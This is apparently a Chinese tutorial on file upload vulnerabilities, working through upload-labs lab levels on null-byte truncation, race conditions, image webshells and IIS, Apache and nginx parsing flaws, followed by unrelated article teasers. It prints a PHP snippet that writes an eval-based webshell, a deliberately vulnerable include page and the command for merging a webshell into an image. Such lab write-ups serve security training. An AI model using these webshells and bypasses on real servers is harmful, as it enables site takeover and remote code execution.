文件上传漏洞-下篇

一、白名单绕过

目录路径检测绕过

00截断
  • 简介:

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

  • 饶过条件

image.png

  1. 利用操作:Pass-12
    1. 要求:上传路径可控
    2. 步骤:切换版本,修改配置,正常上传服务器需要的文件类型,在点击上传按钮时,抓包并修改其路径信息,再发送到服务器中。

image.png
image.png

  • 原始包信息
  • image.png
  • 修改包信息
  • image.png
  • 结果:
  • image.png
  1. 利用操作:Pass-13
    1. 步骤:和12关类似,区别就是在添加00时 ,是通过先随便添加一个符号作为占位符,再将占位符的十六进制修改为xx
// ../upload/
// 先在../upload/添加分号
../upload/;
//在找到分好十六进制处,修改为00
  1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719016858361-13759627-b96f-4a3f-9bd4-50ff8a4646d1.png#averageHue=%232f2c2c&clientId=u110fa9f8-157e-4&from=paste&height=620&id=u9f768274&originHeight=620&originWidth=1246&originalType=binary&ratio=1&rotation=0&showTitle=false&size=73914&status=done&style=none&taskId=ua7a6d47d-b723-458f-921c-4e9d650850a&title=&width=1246)

条件竞争绕过

  • 简介

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求的时候,是并发进行的,因此如果并发处理不当或者相关操作顺序设计的不合理时。将会导致此类问题的发生。

  • 原理
    • 先上传文件,再进行文件验证,不符合再删除文件。

image.png

  • 示例:Pass-18
    • 步骤:1、正常上传文件并抓包,并发送到爆破模块中。
# m.php
<?php$w = fopen("text.php","w"); # 以写入模式创建文件fputs($w, "<?php @eval($_POST['cmd']); ?>");?>
  • 2 、构建访问上传文件的路径并抓包发送到爆破模块中。
  // 路径
http://10.196.93.67/upload-labs/upload/m.php
  • 3、将两个包修改为循环抓包,开始条件竞争,只要成功写入一次就可以绕过成功。
  • image.png

二、图片木马

扩展:
文件包含漏洞:

# 可以木马通过get方式当做file的值,传入到服务器中。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>

简介

图片木马就是讲一句话木马插入到一个"合法"的图片里面,然后在用菜刀远程连接,那么使用图片木马是需要配合解析漏洞和文件包含漏洞的。

图片木马的制作

  • 注意:准备的图片要确保服务器可以正常解析。
  • 准备工作:一张图片;包含木马的php文件。
  • 进入cmd
# 命令
copy  图片名 /b +  php文件 /a 生成的文件名

image.png

示例:Pass-14

image.png
访问图片路径:http://10.196.93.67/upload-labs/upload/8420240622094601.png
利用文件包含漏洞
URL:http://10.196.93.67/upload-labs/include.php?file=upload/8420240622094601.png
image.png
蚂剑:
image.png
image.png

示例:Pass-16

和上方利用方式一样,区别需要修改php.ini文件
image.png

#打开扩展,重启服务
extension=php_exif.dll

示例:Pass-17

  • 二次渲染
 //使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);
  • 二次渲染绕过方式
# 先上传一张正常的图片,经过二次渲染后,将渲染后的图片下载,对比原图片
# 分析找到没有渲染的地方,再将木马加入到此处

三、文件解析漏洞

简介

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序(中间件)本身的漏洞导致的。此类漏洞中具有代表性的便是iis6.0解析漏洞,此漏洞又有目录解析和文件解析两种利用方式,但也有少部分是由于配置的疏忽所产生的,如nginx<8.03的畸形解析漏洞。

常见的解析漏洞

image.png

IIS5.X-6.X解析漏洞

  • 漏洞介绍
使用jis5.x版本的服务器,大多为windowsserver2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析asp文件。
目录解析(6.0)
形式: www.xx.com/xx.asp/xx.jpg
原理:服务器默认会把。asp,.asp目录下的文件都解析成asp文件
形式: www.xx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;jpg便被解析成asp文件了。
解析文件类型
iis6.0默认的可执行文件除了asp还包含这三种:
/test.asa
/test.cer
/test.cdx
  • 修复
目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;jpg类型的文件名。
做好权限设置,限制用户创建文件夹。  

Apache解析漏洞

image.png
image.png

nginx解析漏洞

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/32208.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高考志愿填报,二个准备三个重点四个原则

对于高考生而言&#xff0c;高考完毕并不是可以轻松地开始&#xff0c;接下来需要研究怎么报考的问题。如何在理想和现实中取得平衡&#xff1f;如何根据就业和专业的前景做合适的安排&#xff0c;对于还处于青少年阶段的高考生们来说不是容易的事情&#xff0c;要掌握哪些技巧…

CANoe CAPL如何模拟发送CAN错误帧?

目录 canOutputErrorFrame介绍代码output(errorframe)代码总结canOutputErrorFrame 介绍 代码 canOutputErrorFrame(errorFrame, 12, 0); //output Error Frame with 12 dominant bits on CAN1 canOutputErrorFrame(CAN2.errorFrame, 6,

快手可灵大模型开放视频续写功能,可生成最长约3分钟视频

6月21日&#xff0c;可灵再度进化&#xff0c;正式推出图生视频功能&#xff0c;支持用任意静态图像生成5s视频&#xff0c;并且可搭配不同的文本内容&#xff0c;实现丰富的视觉叙事 。 同时&#xff0c;可灵还发布了业内领先的视频续写功能&#xff0c;可为已生成的视频&…

Chromium 开发指南2024 Mac篇-开始编译Chromium(五)

1.引言 在之前的指南中&#xff0c;我们已经详细介绍了在 macOS 上编译和开发 Chromium 的准备工作。您学会了如何安装和配置 Xcode&#xff0c;如何下载和配置 depot_tools&#xff0c;以及如何获取 Chromium 的源代码。通过这些步骤&#xff0c;您的开发环境已经搭建完毕&am…

如何级联移位寄存器(74HC595)

在这个项目中&#xff0c;我们将使用 74HC595 移位寄存器将 2 个移位寄存器级联在一起。这样级联移位寄存器现在可以控制 16 个输出。 当然您可以级联任意数量的移位寄存器。如果您要级联第三个移位寄存器&#xff0c;它可以控制 24 个输出。如果您级联第四个移位寄存器&#x…

任务3.8.4 利用RDD实现分组排行榜

文章目录 1. 任务说明2. 解决思路3. 准备成绩文件4. 采用交互式实现5. 采用Spark项目实战概述&#xff1a;使用Spark RDD实现分组排行榜任务背景任务目标技术选型实现步骤1. 准备数据2. 数据上传至HDFS3. 启动Spark Shell4. 读取数据生成RDD5. 数据处理6. 计算TopN7. 输出结果8…

学习es6

1、let变量 2、const常量 3、解构赋值 4、模板字符串 5、简化对象写法 6、参数默认值 7、rest参数 8、扩展运算符 9、扩展对象方法 10、扩展数组方法 11、Set 12&#xff0c;Promise 13、Module模块

Leetcode - 周赛402

目录 一&#xff0c;3185. 构成整天的下标对数目 II 二&#xff0c;3186. 施咒的最大总伤害 三&#xff0c;3187. 数组中的峰值 一&#xff0c;3185. 构成整天的下标对数目 II 这里的T1&#xff0c;T2是一个题&#xff0c;这里直接一起讲了&#xff0c; 当我们已知 x%24 的值…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

qt+halcon实战

注意建QT工程项目用的是MSVC&#xff0c;如果选成MinGW,则会报错 INCLUDEPATH $$PWD/include INCLUDEPATH $$PWD/include/halconcppLIBS $$PWD/lib/x64-win64/halconcpp.lib LIBS $$PWD/lib/x64-win64/halcon.lib#include "halconcpp/HalconCpp.h" #include &quo…

Kubernetes Ingress 简介

前言 Ingress 是 Kubernetes 中的一种资源对象&#xff0c;用于管理从集群外部到内部服务的 HTTP 和 HTTPS 路由。它提供了灵活的路由功能、SSL/TLS 终止、负载均衡和虚拟主机支持。Ingress 需要一个 Ingress 控制器来实际处理路由&#xff0c;并且可以通过配置不同的控制器来…

RedHat9 | Web服务配置与管理(Apache)

一、实验环境 1、Apache服务介绍 Apache服务&#xff0c;也称为Apache HTTP Server&#xff0c;是一个功能强大且广泛使用的Web服务器软件。 起源和背景 Apache起源于NCSA httpd服务器&#xff0c;经过多次修改和发展&#xff0c;逐渐成为世界上最流行的Web服务器软件之一。…

蔚来汽车AI算法工程师,如何理解注意力?

大家好啊&#xff0c;我是董董灿。 今天分享一个上海蔚来汽车的AI算法岗位面试经验总结帖&#xff0c;面试岗位为算法工程师。 这次面试提到的问题&#xff0c;除了与实习相关内容和反问之外&#xff0c;面试官总共问了8个问题&#xff0c;主要集中在深度学习基础概念的理解上…

共93本!全网最全Frontiers旗下期刊2022、2023版影响因子和分区对比完整版目录!

本周投稿推荐 SSCI • 1区&#xff0c;4.0-5.0&#xff08;无需返修&#xff0c;提交可录&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; CNKI • 7天录用-检索&#xff08;急录友好&#xff09; SCI&EI • 4区生物医学类&#xff0c;0.1-0.5&…

Gotchiverse Alchemica 代币现已在Base上线

​ 朋友们大家好&#xff0c; 继 GHST 成功登陆 Base 之后&#xff0c;我们很高兴地宣布&#xff0c;Gotchiverse的 "Gotchus Alchemica " token 也将登陆 Base&#xff01; 从今天起&#xff0c;你就可以通过我们由 Socket 协议提供的新链抽象技术&#xff0c;将 Al…

# 消息中间件 RocketMQ 高级功能和源码分析(十一)

消息中间件 RocketMQ 高级功能和源码分析&#xff08;十一&#xff09; 一、消息中间件 RocketMQ 源码分析&#xff1a; 拉取消息长轮询机制 1、消息拉取长轮询机制分析 RocketMQ 未真正实现消息推模式&#xff0c;而是消费者主动向消息服务器拉取消息&#xff0c;RocketMQ …

毕业季带给我的五个启示

每到毕业季&#xff0c;校园里总是充满了复杂的情绪。有人欢笑&#xff0c;有人落泪。同样的四年大学生活&#xff0c;为何结局如此不同&#xff1f;本文将从多个角度探讨如何实现综合改变&#xff0c;解释在交友、机会和心态上的关键因素&#xff0c;揭示“慢就是快”的真理。…

go语言day2

使用cmd 中的 go install &#xff1b; go build 命令出现 go cannot find main module 错误怎么解决&#xff1f; go学习-问题记录(开发环境)go: cannot find main module&#xff1b; see ‘go help modules‘_go: no flags specified (see go help mod edit)-CSDN博客 在本…

MinIO 网络与覆盖网络

云计算和容器化技术的发展改变了应用程序的开发、部署和管理方式。这种转变给网络环境带来了重大变化&#xff0c;为DevOps和SRE工程师带来了新的挑战和机遇。然而&#xff0c;在这种转变中&#xff0c;出现了明显的知识差距&#xff0c;特别是在理解物理网络和硬件背景下网络的…

【自动驾驶】ROS小车系统

文章目录 小车组成轮式运动底盘的组成轮式运动底盘的分类轮式机器人的控制方式感知传感器ROS决策主控ROS介绍ROS的坐标系ROS的单位机器人电气连接变压模块运动底盘的电气连接ROS主控与传感器的电气连接ROS主控和STM32控制器两种控制器的功能运动底盘基本组成电池电机控制器与驱…